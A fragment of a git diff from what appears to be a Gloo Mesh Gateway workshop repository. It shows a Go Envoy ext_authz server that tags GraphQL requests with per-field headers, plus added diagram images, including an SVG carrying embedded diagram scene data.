`json:"query"` +} + +var _ envoy_service_auth_v3.AuthorizationServer = &server{} + +// New creates a new authorization server. +func New() envoy_service_auth_v3.AuthorizationServer { + return &server{} +} + +func toCamelCase(s string) string { + if s == "" { + return "" + } + // Convert first character to uppercase + firstChar := strings.ToUpper(string(s[0])) + // Convert the rest to lowercase + rest := strings.ToLower(s[1:]) + return firstChar + rest +} + +// Check implements authorization's Check interface which performs authorization check based on the +// attributes associated with the incoming request. +func (s *server) Check( + ctx context.Context, + req *envoy_service_auth_v3.CheckRequest) (*envoy_service_auth_v3.CheckResponse, error) { + var request GraphQLRequest + + err := json.Unmarshal([]byte(req.Attributes.Request.Http.Body), &request) + if err != nil { + return &envoy_service_auth_v3.CheckResponse{ + Status: &status.Status{ + Code: int32(code.Code_OK), + }, + }, nil + } + + src := source.NewSource(&source.Source{ + Body: []byte(request.Query), + Name: "GraphQL request", + }) + + doc, err := parser.Parse(parser.ParseParams{ + Source: src, + }) + + if err != nil { + return &envoy_service_auth_v3.CheckResponse{ + Status: &status.Status{ + Code: int32(code.Code_OK), + }, + }, nil + } + + var headers []*envoy_api_v3_core.HeaderValueOption + fieldHeaders := map[string]*structpb.Value{} + + for _, definition := range doc.Definitions { + if operation, ok := definition.(*ast.OperationDefinition); ok { + for _, selection := range operation.SelectionSet.Selections { + if field, ok := selection.(*ast.Field); ok { + header := &envoy_api_v3_core.HeaderValueOption{ + Append: &wrappers.BoolValue{Value: false}, + Header: &envoy_api_v3_core.HeaderValue{ + Key: "X-Graphql-Query-Mutation-" + toCamelCase(field.Name.Value), + Value: "true", + }, + } + log.Println("Adding header " + "X-Graphql-Query-Mutation-" + toCamelCase(field.Name.Value)) + headers = append(headers, header) + fieldHeaders["X-Graphql-Query-Mutation-"+toCamelCase(field.Name.Value)] = &structpb.Value{ + Kind: &structpb.Value_StringValue{ + StringValue: "true", + }, + } + } + } + } + } + + newState := &structpb.Struct{ + Fields: fieldHeaders, + } + + return &envoy_service_auth_v3.CheckResponse{ + HttpResponse: &envoy_service_auth_v3.CheckResponse_OkResponse{ + OkResponse: &envoy_service_auth_v3.OkHttpResponse{ + Headers: headers, + }, + }, + Status: &status.Status{ + Code: int32(code.Code_OK), + }, + DynamicMetadata: &structpb.Struct{ + Fields: map[string]*structpb.Value{ + soloPassThroughAuthMetadataKey: { + Kind: &structpb.Value_StructValue{ + StructValue: newState, + }, + }, + }, + }, + }, nil +} diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/images/.gitkeep b/gloo-mesh/gateway/2-5/airgap/advanced/images/.gitkeep new file mode 100644 index 0000000000..e69de29bb2 diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/images/gloo-gateway.png b/gloo-mesh/gateway/2-5/airgap/advanced/images/gloo-gateway.png new file mode 100644 index 0000000000..71255deb29 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/advanced/images/gloo-gateway.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/images/gloo-mesh-enterprise.png b/gloo-mesh/gateway/2-5/airgap/advanced/images/gloo-mesh-enterprise.png new file mode 100644 index 0000000000..a14bc9e23f Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/advanced/images/gloo-mesh-enterprise.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/images/gloo-mesh-graph.png b/gloo-mesh/gateway/2-5/airgap/advanced/images/gloo-mesh-graph.png new file mode 100644 index 0000000000..e17c49c138 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/advanced/images/gloo-mesh-graph.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/images/gloo-products.png b/gloo-mesh/gateway/2-5/airgap/advanced/images/gloo-products.png new file mode 100644 index 0000000000..f45b1660b9 Binary files /dev/null and b/gloo-mesh/gateway/2-5/airgap/advanced/images/gloo-products.png differ diff --git a/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/create-bookinfo-workspace/gloo-mesh-workspaces.svg b/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/create-bookinfo-workspace/gloo-mesh-workspaces.svg new file mode 100644 index 0000000000..4355dcff7a --- /dev/null +++ b/gloo-mesh/gateway/2-5/airgap/advanced/images/steps/create-bookinfo-workspace/gloo-mesh-workspaces.svg @@ -0,0 +1,16 @@ + + + eyJ2ZXJzaW9uIjoiMSIsImVuY29kaW5nIjoiYnN0cmluZyIsImNvbXByZXNzZWQiOnRydWUsImVuY29kZWQiOiJ4nO19V3PqyLfv+3xcbtec1z+6ncN5c8A4XHUwMDA3glxyvnOLXCLIXHUwMDA0k0wwhlPnu9/V7L2NhFx1MDAwMlwiXHUwMDE5eWzNLjO2oNV0r/Bbq1f4n79cdTAwMGVcdTAwMGX+XHUwMDFlTnr23/998Lf9Xim1XHUwMDFh1X5p/Pd/zN/f7P6g0e3ALTL7fdBcdTAwMWT1K7N31ofD3uC//8//KfV61vxTVqXb/vVJu2W37c5wXHUwMDAw7/2/8PvBwf/Mfjqe1bcrw1Kn1rJnXHUwMDFmmN2aP45jvfjXm25n9miCpKRIYPzxhsbgXHUwMDA0XHUwMDFlN7SrcPe51Fx1MDAxYdjzO+ZPf1crctQ94e3CRa9Uk8mzdKt5QeZPfW60WpnhpPXre5Uq9VHfMafBsN99sVx1MDAxZlx1MDAxYtVhXHUwMDFk7uOFv398btCFXHUwMDE1mH+q31x1MDAxZNXqXHUwMDFkezBwfabbK1VcdTAwMWHDiflcdTAwMWJCXHUwMDFmf/21XGL/fTD/y7tZXHUwMDAxpC3NPi7+cdN8nGhsXHUwMDEx+XEpLFx1MDAxN+Z13G11+2Ze/4WUfObl+czKpcpLXHKm16nO34NJWSkxf8/497clSFnEcTHx8Za63ajVh+Y9RFjaebH5VOzZlmjMqFwiVJOPXHUwMDFi5vm98+qcOGZ/LVxcli7a94PXVJtcdTAwMWU+naZcdTAwMGb1KEWf/v59//8tLny91O/9XuC/XHUwMDA35lx1MDAxN8dXNN8uuUiATlwidFx1MDAxMMdhhlb5TSrbRrWTUuLq3H4rXjY+xnJRbKnf747//rjzv/9cdFx1MDAxYneQue2JRDlZQbbG/af+Xb5P+9HG9XzlUa9a+kXeWDAukKBcXDA6X89Wo/NcdTAwMDI3O6NW6y/HzFZlOVx1MDAxMsRyXHUwMDE4aYEl1UhG5rnBZeEufW33L0VlcPv+dvFYmnSScec5SaWl6Pxy85xAXHUwMDE2R/OLXHUwMDA0slx1MDAxY9NcdTAwMWNxXHUwMDE5znKEqLLtw3KYXHUwMDEw5OIn5cNyysNjWFwiwZRcdTAwMTSc7ozJZl9gTSZrPrNU7lx1MDAxMWVfu9fj7pDXMrXk7fNcdTAwMTaYLGHT/Fx1MDAwYtPtIZ+kajdInbXeXHUwMDEzmVgzXHUwMDE5XHLUa5pcdTAwMGKFiEI0Mo+d5Fx1MDAxZVC1cHmWaemTq8ZZPnd39zaIO49hRJWLyaSbyzR1cVx1MDAxOWWBbLZ/zYZcdFxiTcko/teptv1wXHUwMDA3XHUwMDE1KIg7XGJiTFxuLVx0j8xcdTAwMWW6NDyvnDTEqE3fs2e628jk0uXYs1x1MDAwN1XCWlx1MDAwMHuUWcipeGgwS8yuUJZcdTAwMTj2S51Br9RcdTAwMDdcdTAwMDLysoXS0k3yXq5QiljCcfFFptBcdTAwMDRxLIjAO+OJTTRRo/5YSvZfXHUwMDA3vFxckFeZxtXpey5xt1x1MDAwNU10Ocyp92eiXs4rguCHZPuNXHUwMDFmozjzXHUwMDFhdiCLRbhHiSRagZ1cdTAwMTWZ18qniWY91ytcdTAwMTGpbvh7h41EsX1cdTAwMTh3XmOM7JHVXHUwMDE0Xc5qeJG5QFxmYqmBwfbGXFyfTKZMXHUwMDA1XHUwMDAyJqylorAgNLpKXHUwMDE4pKpccvQwPc1cdTAwMWSlzlx1MDAwNil+93iuns/iTqZSMIvSQLNE6YhmSVxm8JJcdTAwMDTiVZI6QPBcdTAwMGZe2lx1MDAwNC+RYJOdgC3BXHUwMDE16KLIzHGcKD8kXHUwMDFiXHUwMDE1TVKpJG4+1nn5PNf6POZAazFcdTAwMDdcdTAwMDM4YshfgF3BMVx1MDAxN25rgkthUcSZQppLRDFcdTAwMGZkjo1sdsOhTsKnXuagXHUwMDBlXHUwMDAx/4dcdTAwMWI4JSDDiP42wpw4nLaL9CokhS10btEyepV314lcdTAwMTNVnN6i6lx1MDAxYq9gMbnOn6XjLswxY2xcdTAwMDF0XGJE3aBjJ1x1MDAxMlxcXCK0XGZvYOLBXHUwMDFiSmmNlSa7cyt9K4FNdKCBizmCf0iq6KD74fWilW0/a56+aZ/V8UDc5p5cdTAwMWFfgFx1MDAwMfhcdTAwMDJcdTAwMDNIaoCDXHUwMDE0XG5cdMFcdTAwMTCYjrtiXHUwMDAwXHUwMDFmzFx1MDAwMrjGyXtcdTAwMGXv21x1MDAxZimtlaaAxGOKWUr59NlcdTAwMGLKqiS55JXMtKVcdTAwMGU7mXSsWSBcdTAwMDSzYEU0XHUwMDAwelx1MDAxMZ1cdTAwMDWqzWrzqVt8vM6f2Nm3l+TNS+p0XHUwMDFhwFx1MDAwMlx1MDAwYqTsZoBFN+MuXHUwMDFkoFx1MDAwMi8wXHUwMDAwqL2IXHUwMDE4XHUwMDFlXHUwMDAwna0r4VxmULZZuVr2gSmCXHUwMDA10fpcdTAwMDc/cC9KYdo4OFx1MDAxMd5cdTAwMWRK2YT+m4ns8dFcdTAwMGIj+v6yTmrnlefxJD/1p/+h/T6M6s6Rw0Z5YE9cdTAwMTW5yDda+fZzws5Ttlx1MDAwNTdRsnh/jK/ZxbhbvsZ3+aG+PHuPeGBcdTAwMTE6buWtnJInnaNmtkEz6mySbVx1MDAxZSfLXHUwMDFijetatf9EXfhPkC6uXHQ5XHUwMDA1XHUwMDBiXHJcdTAwMTYsXHUwMDE0Y8y4UtHBZThdxVW3glx1MDAwMvWIXHUwMDE2XHUwMDE5XHUwMDExXFw+z671XHUwMDFkWpjPZeiHPGFzJ+NcdTAwMWZ5goSiiKL9qdO1SHK+893OMNOY/jqTcP31tNRutCauzZvRqvE6d2p9mN3BP51cdTAwMWE8cFxcmjiXeWDDc8x4zP3Bw1aj1pkxN8zc7rtoftiolFpcdTAwMWZvaDeqVae2rcBsSjBm/zyKkuz2XHUwMDFitUan1MouTPbPVDfQ9UJcdTAwMDSypKKEXHUwMDExJkh0XV+cPKXro3bXVp2ULL1cXCVG09Yk7rqe61x1MDAwNYZkRMZW11x1MDAwM1dcbs1cdOJ7480wXHUwMDFkd35LXHUwMDFmT8rkrHyIS1x1MDAwZs3TfE886NKPqt9cXNXvaHmXIVxi/1x1MDAwN0acLX7oVETloVhu2o/H6DB1f4TGN3u2e4KQXHR1cN/isbbgWFx1MDAxM2d43zIpXHUwMDE4vk3xXHUwMDA1JoteL0ajer0+XHSYXGKz7UI5XHUwMDE00jdcdTAwMDAmdmkwXHUwMDFj24PhnpDJXHUwMDEylb6ITD5muzk0XHUwMDAxayCQJzHCWlwivoIr+jnVrV6Unm5HuWKmctVTw9Py1VpuiE+ML6bEQtxxubhcdTAwMTM+T123dSB7RjhcYt8yTNFcYlMhd3lcYr5cdExcdTAwMTk/0veX9/40V2p3MX9X6YvapPNcdTAwMDNTtlx1MDAwNVN2tLxbXHUwMDFmdlx1MDAxOfrxf2DE2bJcdTAwMWO+Pq3nUvXc2fStmM1X5G3lKqbohzuixr1GoFSMMlx1MDAxNj3mNXyfYlxuf7hxwoTIWoIsXHUwMDFlSdbuXHUwMDA0XG5cdTAwMTFvnIaSXGK0IGX7k7D7cNJcZoaNbtVcdTAwMTf/OPJrtop/luBcdTAwMDaPZ+bXXGY3QD2CXHUwMDA18qLWmFKFZXRenJ7kJlx1MDAxN+VXmrrtl6v1m3NVOnluxlx1MDAxYvVgJIUlXHUwMDFkgUyLqEdYeFx1MDAxZdsqQ47iI6CewHiR9Vx1MDAwZWK0wIhcdTAwMTFcdTAwMTZT70zlqdGY3lUr9/lcdTAwMDTF6btelVWGRz+wZ1uwZ+vLu1xmn/g/MOJsXHUwMDFm9L1WVGWbL09X/ZpcdTAwMWGfjF7HzS2swnVcdTAwMDMl2rJeyDVzN5k30UpcYrve2sK4WVSRtVx1MDAxMupf4odhrpQ6QSn8XHUwMDFhgP5WXHUwMDFht0urhZeCmojqjT1sXvR6xft2gE9tpXFvSimab9/ZZV6+KaaO84Q21FtM8Vx1MDAxZtPBXHUwMDExvCbeg+lcdTAwMTVcZu1wNogp/MNI4TClg7Ezo1wiROl8kieMaiWJdG7LN0B/qVa3e3BtXHUwMDBm6lx1MDAwN/90SjXX8n2CI2xcdJRaXHUwMDA0gvPJ/prqWoxJUSBcdTAwMTjUjCikVnFLTzI5Us4n+bQ+fUHtw0nibjpcdTAwMWXHnTFcdCXcXHUwMDAyO1x1MDAwN0smZj9cdTAwMTdcXNRKWkRxidmvnyw4fFx1MDAxOCvBSuGBaaGcSbhPni9cdTAwMTWLnCkpXHUwMDE4ZVxuyXhCQJ0qto9q56P6ICllelx1MDAwNFx1MDAxYn7fKOxeK/nyvYrK9+Vu96XRee5cdTAwMWWMu/1cdTAwMTfYn4rty/iOvMPVXHUwMDE4f9jtXHUwMDA1cb1r8oss7jOvUC7/taI+bI5VYMypXHUwMDAyc0hcdTAwMTLMo5/Bh29xLE0+QuliwClcdTAwMDe2j3b2XHUwMDE0ga+DzTxELMKpXHUwMDA0w01TXHUwMDEz3O6TM1x1MDAwM5ag1EIoRpBAWFBvuIxiVDGhYpskIHA4U1x1MDAwZYal/vCo0ak2OjW4N1x1MDAxN1x1MDAxYn9KxJxH0Fx1MDAxZjM2roxmaVwixlVcdTAwMDaLQlx1MDAxMLwgRuf+XG6zNKWemZz1IbLNT6nJ73d8gOq/7U51PifXfFulwfC42243hvBN77qNztD3XHUwMDFiXHUwMDFkXHUwMDFhdqvbJVx1MDAwZlx1MDAxZsPIznuLfNkzI7q3bv5/XHUwMDA3c9Kd/fLx///vP77vTlx1MDAwNJOYuTzENVx1MDAxZu8v5+uqwFx1MDAwMavASDtTJkRcdTAwMTC0QkqeSF3w9EProjzOXHUwMDFkqXbr8P2e1DNxlyhkMapHXHUwMDE4XHUwMDE5s7VcdTAwMWOOIIlCmFx1MDAwZkpw2lx1MDAwYr+TRDGDXVx1MDAxME7He7xkxk5cdTAwMTV54rlcdTAwMGZvXHUwMDA0Nlx1MDAxY/zT6ZTadrBOXHUwMDE364L5TXW6/1x1MDAxNNfixbBweolNiJ2k0T26R6PGY/7pgddEMTs8StmXL1fX2bgzoyMzw3xELaR0LE5lS6xIfVx1MDAxMqi8rMiFlIpcdTAwMTC8u2jXTYoh7Dp5ZFx1MDAxOTbYjM/NdsWbzf1muFx1MDAxZYinJLhaXHUwMDAzLDPWIPKj69zwvLm4sjmzXHUwMDA0XHUwMDEximuAw4I7PFkz/SuVZTBcdTAwMGWXXG6gkCa70b9YXG6La800XHUwMDE3nDFnqt6HXGJAXHUwMDE2YVxiaa5NQS6JlWZcdTAwMWUjnjBcdTAwMDFgXGZAW0y184qIflx1MDAxMf0ux/rhibsurE9gPlx1MDAxNCxY2DVCJJ7PbFx1MDAwZfaJxVx0wFx1MDAxZIY1gf2RXqz/tVx1MDAxMH1cdTAwMTCJze76UNeKmD5YwogwXHQjlOJgYESWMOGaJa5cdTAwMTKGgr2kJaw6kcQtX1x1MDAxNMNcdTAwMTZlSlx1MDAxMSRcdTAwMTUmUm9WlSyqfCE+XHUwMDA3w8jShEqgXHUwMDAwkyhpouC80Vx1MDAxYoxTJZhi+6tcdTAwMDX4KS6DcLDqXHUwMDEyI0gjMJElx2C6UUmVV4xwi4DVxkGEXHUwMDEwWFxcIFx1MDAwMo9cdTAwMTiJJNrCU7Ldc1wioKdcdTAwMTgyNc0oXHUwMDE4zEr7ODKwJT9mXHUwMDA1prWm/y7hRqjr81x1MDAxZcpeUbZcdTAwMDVHoFx1MDAwNaYhgSXPMEUrXHUwMDA0oFx1MDAxZOfrXHUwMDE3qZv6IF3jdrfR7t2PT0dBJlJ8XHUwMDBlOkCPWoxcdTAwMTNqXG6hmJ/uMimgSCw9v4s38oeGn3PISOdcdTAwMWNcXIK6V1x1MDAxOO0v/uzjXHUwMDE58ak6upnZ9Dtkflx1MDAxMLdzXHUwMDBln3mtXHUwMDA3YExcdTAwMThlXHUwMDEwm1x1MDAwM4bkJtUmuolcdTAwMTS+x/FcdTAwMDQwhGBLI8RcdOBcdTAwMTRK8EKdMGJKIYHcNUl+IPVCwlxmNjn0IIxacE+ZjFx1MDAxZolgIO7ld0EtRojmJlx1MDAwN1x1MDAxNGFvkTvMXHUwMDE4aGCM2O6OOWNcdTAwMDFgwlWJXHUwMDBiLFCjNGE9XHUwMDExXHUwMDAwf+Ned/j5/2BcdTAwMDVqcVhRwFxuRGMwhzlfXHUwMDBmwYRcdTAwMTfudk3KOFx1MDAxOPXMXHUwMDE2XHUwMDA3SFx1MDAwNfvFvZPSlqLwXHUwMDFmgFFcdTAwMDDNlGPhmdSXXHUwMDAyMMHUba5Ful5cdTAwMTG+LCmdXHUwMDE1Up2dmsLRgkY/xlx1MDAxNbmrafFq3E7nk2RCqqVB+sGuriPdPjGVWpLFY1xcQcFcdTAwMWXmUVx1MDAwZV2ipFIvXHUwMDA2V21cdTAwMTatK1x1MDAwMMdSKXfo5NlcdTAwMDTB8OtpIXd58np62SpVc0T36OA9oFxublx1MDAxY4J17/V7fZi+e7+aVlx1MDAxZnrDXHUwMDAxOZ5cdTAwMWVcdTAwMTfHW1x1MDAxOLdrn7yl+FBW2MnxqH9xcl647YuNxl1cdTAwMTZV67/w28GHocIl+Cw32O2DMNMzmzmyXFxcdKermFx1MDAxYUdYglx1MDAxY1mQLExakkc5Q4ogWZaFZC6VLj5cdDpYXGJNpGTfqopKr9+tjirDXqnmb7vsKktnibZcXLRonNPcQOHz4FKBoFx1MDAwYlx0XHUwMDE2SkT3x+J3fXPZOcq/ZTKd685tj5313lnMXHUwMDE1PvfUSZPALFtjyy0rfFwiKVFMx7RM4CBbtU9HNlx1MDAxMnJ6To9zk2L6XHUwMDE2jzZX+DtcdTAwMWH2q+GIfvWi1KjWXHUwMDA2vPp2+9gpPVx1MDAxN87JccTA1zVxhP/C71x1MDAxMUdcdTAwMTBHNv6CuOJgl7rcXHUwMDExS6u0h1JVXFxRXHUwMDA099Rek5K47JOdolxiXHUwMDFm2OBpzWEq+UpTbWZ/5Xz3XHUwMDAwXHUwMDFiqjYo89bAXHUwMDFmMijX27dcdTAwMDZcdTAwMTmW6NtFyPBniuvDXHUwMDA1XHUwMDFhkmUvhcBcdTAwMWHIc4Uwb9LoXT8nXHUwMDFmiomH++NMXHUwMDFkPZ+O27WYw1x1MDAwNUlcdTAwMTbhgpIotnBcdTAwMDFjLmFuJKZFTI5vXHUwMDFlXHUwMDBln8pjzO76z/mXXuG62LRcdTAwMDPSWFdR7F9r2M9X6/5fJOJ0p4nWaY62U0RcXIpcdTAwMWJylMtkRk2++2OpteCCs87/griSRFx1MDAxOT/2XG5nNeHbXHUwMDFmV7wgyVwiXlBK7Vx1MDAxNS/49GvRnGqG8beqidYvXHJcdTAwMWKdWlx1MDAwMF7YkYthicJdxFx1MDAwYn+muFx0XlxiaVx1MDAxZCOJaUYgVqh/dvR+1j1cIp2bzFmmcFx1MDAwYqbw81x0uog5XlBKetxcdTAwMGI8vnhcdTAwMDEgXHUwMDFjJVx1MDAxNO0wknxcdTAwMTO8UFN5/lhCt1xydSpcdTAwMWYmV0f9V/RcdTAwMWHgSV9FXHUwMDAzf61hP/84wf+L/CvxQmCuulx0yVx1MDAxNKZLQXRvaPj+x1x1MDAxNTCA8e5xMNB4OVx1MDAxOFx1MDAxNMPMnHx+K7hgvzXs8ee6XHUwMDE3luhbXHUwMDBmXFz4PcVQ1lx1MDAwYlxmrGI8hPdcdTAwMThcdTAwMTCuXHUwMDE0K+R7hvtgV+K9xfP+XYJ1ri1cdTAwMDS4SCDGXHUwMDA0fGd3bJVExFx1MDAxMkSChlx1MDAwNtREhVx1MDAwZe5cdTAwMWG6KVx1MDAxZipqcSq45EyCtaC0T3RcdTAwMTUjlkaKalx1MDAwNJCBKOplUs2UQpztMSdtWXRcdTAwMTVccuXSiNFV4ad2XHUwMDA380Amk1XBMWJcYjFFhYA9xo53fURXUTnfYLCIfr9jxeiqcL+ge1KmaVx0YTAzLLFcdTAwMDJTzDMpbVx1MDAxMcxcdTAwMTg2Raspk1x1MDAxY2vPnL5UcFUgbZvLQ9Xz4f5yvq4s3ThccvREYI1cdTAwMTVHXFyj6I7TcFxiXHUwMDE4V+mmXHUwMDE4XHUwMDAzXHUwMDE24Fx1MDAxNGmOXHUwMDE4kN2idKOWUkD+SoFoXHUwMDEzu1x1MDAwM1x1MDAxOVJbsOBUmkhekFDKp15cdTAwMDaVltSEScLULCdiUbYxRMBQXHUwMDEyOzzg+FqyXHKkiJJcdTAwMDB7iFZcdTAwMWOD3J9cdTAwMDOSuWhjlslG/L27SPI1U1/CMYl7TphxKcxhOVx1MDAwN8Q4T6Zyzlx0SSqZSWNcdTAwMDJhy+nXTnxcdCRscy2S9IqCLTyIhFx1MDAwNWa+XGKEqIQ5zVHAMtmm3tLvhaNBvUx7zyelq2y2cFiNffPsxY7AXHUwMDAy8Ygxo5/fbFx1MDAxNVRcdTAwMWKmXHUwMDA0aOSn2+qW2mNcdTAwMDeq9ll9O5OJXHUwMDE2mfpfylx1MDAxM6LygEGK04vDW5K+Kuu3oFxiqlx1MDAxOFG/clG/pCqih3NcdTAwMGadVinYV5LENelr941WfZHBXHUwMDA2sj84XCLH1IUhQq5cdTAwMTLZa4+ml5eq+1467Vx1MDAwZYfjI1LjJzfDXHUwMDAw8o+Jh18xd2FcdTAwMThByVx1MDAxNjuvbde9r1x1MDAwNFaSXGJcdTAwMTVPyT+6aNwq2qynzrt1XU2Nn++7LMZNVq/PK5M31rRH9DJ5U8k2mo2H1/ZcdTAwMTbGrZy+PNitdOU8l7rq5juyca2zm/n3d7S8y45ccvxcdTAwMWZcdTAwMThxtoVb0UqlXG5FObrqXHUwMDBlblx1MDAwYjlVfK319yxcYoOrY4VcdTAwMTj3YH1Q6nRWL5OB4ftcdTAwMTRTXGKgXHUwMDE2K+VwXHUwMDE0sTzWflJcdTAwMWJcYueAWqiKb2ZDuFx1MDAwNf+lMlx1MDAxYpZo9Vx1MDAxZGU2hKRcdTAwMWNxojEjfFx1MDAwNav0Pd99S1x1MDAxZGY0te+ei7fv+uXh6nStSjOfXHUwMDA3TIRajDuQ22PJbcdcdTAwMWSAlFx1MDAxNFx1MDAxNNNcdTAwMWTWktxcdTAwMDSZPLzf9PB1rXN/cjvovmfsVIJcdTAwMTTszZHJjob9aoDn7YipciFLKb3rv5zcVOlx/lxybWHcrS/vMsDj/8B9XHUwMDAyk1x1MDAxMFx1MDAxOVxiRrp5noxcdTAwMWXPXHUwMDEwvp4xXHUwMDA1JkLPf/9cdTAwMTXMwFxc5tneg1x1MDAxOUzMvFSE0fiGM+xcdTAwMDCK7CNbYolcdTAwMGXfQbZcdTAwMDRcdTAwMGLug2bOXHUwMDFmTdnWyNxnV3D68bWGqvYh6T8+Plx1MDAxZbXFw2W8XHUwMDExiGKLmVx1MDAxMjS2XGJEm1wixkTq3Vx1MDAxNYPZqOfFRHZHWTI6Stdxlz/xgpqO6psjha817K5wwtanu1xmJ/g/cI84gfKQsi/wPKZXSaxcZl/PmOJcdTAwMDTF3ThBabRXnODNkuBcdTAwMThLRHZYrSqGMGFcdTAwMWZJXHUwMDEyS1x1MDAxNO1cdTAwMGWSJGhcdTAwMThKJ1x1MDAwNCnMouOE/pBcZif49vrptj654+Pi0W3mKlx1MDAxOW+cYHrTuUE6j1pcXH9cdTAwMGZcdTAwMTVcdTAwMTgwXHUwMDE1mjFcdTAwMWPTXHUwMDEyXGa5Qlx1MDAxZmdy2czkKNlcdTAwMWHdTItPT/e3w81179dcdTAwMWF2V0coW5/uMqTg/8Dd46U9IFx1MDAxMLr4V0diuUbI9FiKLFx1MDAwM8P3KaZcYlx1MDAwNKTgPIzql6uCf95cdTAwMTlKXHUwMDE0XGJCXHUwMDEw0oqL7+WpXGJNvNhcdTAwMTFcdTAwMDRZosO3m3jBg0vyXHUwMDEzzDjXRPDoXHUwMDA3JeFO4piGJitFLCy5xMCDilx07Vx1MDAwZeaTiFlKflLeXHUwMDA1JYpyzlx1MDAxMWZU+LXyW5p3gblmXGI4XHUwMDAy7y7AKVx1MDAxNsHJ4YeKXHUwMDA37sRcdTAwMGImiUJUXHUwMDExKVx1MDAwNVx1MDAxNo6U44NtZ16E+1x1MDAxOFx1MDAwZkIyL/h3yLzwp25z7SzzQrDgxuBmWYEuV+g4XHUwMDEyjixjKt60kFx1MDAxNkNaXCJNqTYtiFx1MDAxN8SbsDD9nMRcdTAwMGLTL5ArIHjYf+nT12hZ4lx1MDAwNVZUwOcl+1x1MDAxMW7zmt1IXHUwMDEzQk1cdTAwMTNSRVx1MDAxNZc+sm1LqVx1MDAxN+Go5CA49UL5T+pflnvhT9vm2jD3XCJQtElcdTAwMWVcXI3LeI3QSi1Sw83FmIo2U5Xc4tpcdTAwMDA3iThCjp6xMy8uJaD8OTO7Qlx1MDAxOFx0aTmysXAz9KxhJpoxQrj0M6hMtV9cZsyqgDVcdTAwMDTxtmzDWCityS5cdTAwMWKvbyrd5l9rXHUwMDAz6Vx1MDAxNlmQXHUwMDAwSJphWS6IsUJcdTAwMTCmXHUwMDBlvvojSLhrhzHyoqRI0i3c7bswKVPeXHUwMDEwc1x1MDAwMkSDgeSkT2qZOekkQnKqXHUwMDAw5Vx1MDAxOcv0S4u3RCB5m8tD2Ctcbrhw77hcblx1MDAxMXJqVlx1MDAxOYCt4Fx1MDAxObq6zTVcdTAwMWZOK1x1MDAwZlx1MDAwZqXpYHTXOuq/tFW8veNSXHRcdTAwMGJcZpePy1x1MDAxZGhL0TbTXHJcdTAwMDJbxq3lKpdcdTAwMWNcdTAwMTA98Ek8z9Rt3u/gh0zhvXp2dft+UVx1MDAxYtdPOlx1MDAwMVx1MDAxMeZxiL5LXHUwMDE274/xNbtcdTAwMTh3y9f4Lj/Ul2fvXHUwMDEx20GFjlt5K6fkSeeomW3QjDqbZJvHyYCqhiuNu/XlXeYr939gxNk2n1kq94iyr93rcXfIa5la8vY52ip46HTXvnIw5YIkoqJYaq1W6NFcdTAwMTK+TTF1lUuNw0RcInHnXHUwMDFlXHUwMDA0i8TFk8FcdTAwMWT5zZkxu5VE3yrZXHUwMDAwXkqjYd25uJv7zUPavy1T7YtO8z/zW1x1MDAxZpmw4LRcdTAwMWZcbtaX4HiF4NpBul6d3sinWvaFXHUwMDE16cXwJV0v5uJcdTAwMGVMpEXV/HJ7zVx1MDAxOWOxXHUwMDA1JsC3gFx1MDAxYzVn8Uw3aHXK90P2fHv+8k6OXHUwMDA2MtW9fk5cdTAwMDRAiFx1MDAxZmSy+rg7Wt6tXHUwMDBmu1xm8Pg/cJ/ARIXkQVxu46UkOnpcdTAwMThh+HrGXHUwMDE2mZAwmShIvJBcdDFlYoRk5FtBkz485qDVaDdcXGDjXHUwMDEzzvWXKHmf0ML5PDfAKSFFmFx1MDAwNaZcbtNVXHUwMDBlwNLHMn90enw+aL2Mi6R1Yd8nXHUwMDA2cccpPMxakDHGKUhITjDdY2X0MI33nq1f91nriF7Qs5s7zVLDZvXiXHUwMDA3p2xcdTAwMGKn7Gh5v8qwy+CP/1x1MDAwM/dcdH9ksJzFmCOQNCi6pzp8PWNcdTAwMGJ/UJio1TGDP5hxTLnGe7RcdTAwMDP3XHUwMDEy0VhtfG4841x1MDAxMtDgjWc0XHUwMDEzXFxcdTAwMWbwcFx1MDAxNFx1MDAxY0zMXHUwMDE10KjQKyCead7ujVx1MDAwYrXbTuH+9UWWaq+DMb5aXHUwMDA38XxcdTAwMWVcdTAwMWJcdTAwMTJEhYVcdTAwMWSXu9QqXGZALeG8XHUwMDFmyIi/XHUwMDE4NVx1MDAxY/OUbVaulreFeSRcdTAwMDe8JtRcdTAwMWWDjMO03Fx1MDAxZHuwz25K+DhHXHUwMDEyp4mbUTtTTpz/QJ5tQZ5cdTAwMWQt71dcdTAwMTl2XHUwMDE55PF/YMTZNl6f33Wmm32q83yGoExPJKa9aHv26VCKhySkYiVAiDNcdTAwMWNdgofvU0yhlGl6XHUwMDEwKsOJ+3awXGb/LDBFKKP8m2GpxmDY6FY/XHUwMDE1TC3BI4tg6vdcZjdAUySwioWUiFx1MDAwYk2iXHUwMDFiNe3aRF2VXHUwMDFleTN5kns8Olx1MDAxZZf00XUm3lhcbjOhLYdHV+NcdTAwMDU+RIBy+PzSgXxcdTAwMThcdTAwMDVLbdl/RLBcdMBxps7FXHRMXHUwMDE1ivaw8ahcdTAwMGbtm+nxpF+sXHUwMDFkv5SSlVx1MDAxZjC1LTC1o+Xd+rDLUI//XHUwMDAzI862+9hcdTAwMTk+XZxO8NOk9PDSez/Jjt/xXHUwMDE2XHUwMDE2t1F/LCX7r1x1MDAwM14uyKtM4+r0PZe428K4KjsqXHUwMDFllScniVHznYrc+01LZ1wiXHUwMDEy71x1MDAxZVBaYN1/TjCAXHUwMDAxuYKZXHUwMDFkTlYxXHUwMDA1aYB2WLhy0Fx1MDAxNo+kXHUwMDFjdlx1MDAwMtLYPLPzo9cqJkxIuceYzD2gtFSr2z24tlx1MDAwN/WDfzqlmmv9XHUwMDFjgI25P7g1wLZcdTAwMDT0LFx1MDAwMrb5ZH9NdT3WRIGsXHQkwE100lxunVxmb1x1MDAwZsXlNJNLXHUwMDFmqaPGyaifS7H0Y1D109jwpqn0R5ikXHUwMDFj/jNhke7MkFx1MDAwNGFcdTAwMTbXiFwiSjUlSlBnstnqwC2UN1x1MDAxOfXpz